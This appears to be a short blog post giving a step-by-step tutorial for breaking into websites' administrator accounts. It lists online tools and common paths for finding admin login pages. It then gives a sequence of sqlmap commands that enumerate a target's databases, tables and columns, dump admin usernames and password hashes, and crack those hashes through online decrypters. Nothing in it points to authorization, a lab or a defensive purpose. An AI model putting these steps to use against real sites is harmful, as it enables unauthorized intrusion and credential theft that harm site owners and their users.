Lets start:
(backtrack/kali linux)
first search the page of the admin you want to inject, using an online service :
scan.subhashdasyam.com/
copy the name of the site into: enter url: click dump
select admin page: search for admin credentials using sql map:
OR
www.sc0rpion.ir/af to find login page online
FINDING ADMIN LOGIN(2):
www.site.com/admin
www.site.com/login
www.site.com/wp-admin.php
www.site.com/administrator
www.site.com/admin.php
^(optional)^
------------------------------
SQL INJECTION : SQLMAP :
1) open a new terminal and type :
sqlmap -u (paste web-site) --dbs
2) after the scan look for available databases :
3) type in:
sqlmap -u (target site) -D (database) --tables
4) after the scan copy (*admin)(white letters) and type :
sqlmap -u (target site) -D (database) -T (*admin) --columns
5) after scan type:
sqlmap -u (target site) -D (database) -T (*admin) -C (*username) --dump
(look for username in white lettering in column)
6) after scan type:
sqlmap -u (target site) -D (database) -T (*admin) -C (*password) --dump
(pwd will be in white lettering - usually hashed and will need to be decrypted)
7) google decrypt hash online: (md5decrypter...etc...)
(* = substitute found table or column content)
------------------------------
logs stored in : /usr/share/sqlmap/output
.jpg)





0 comments:
Post a Comment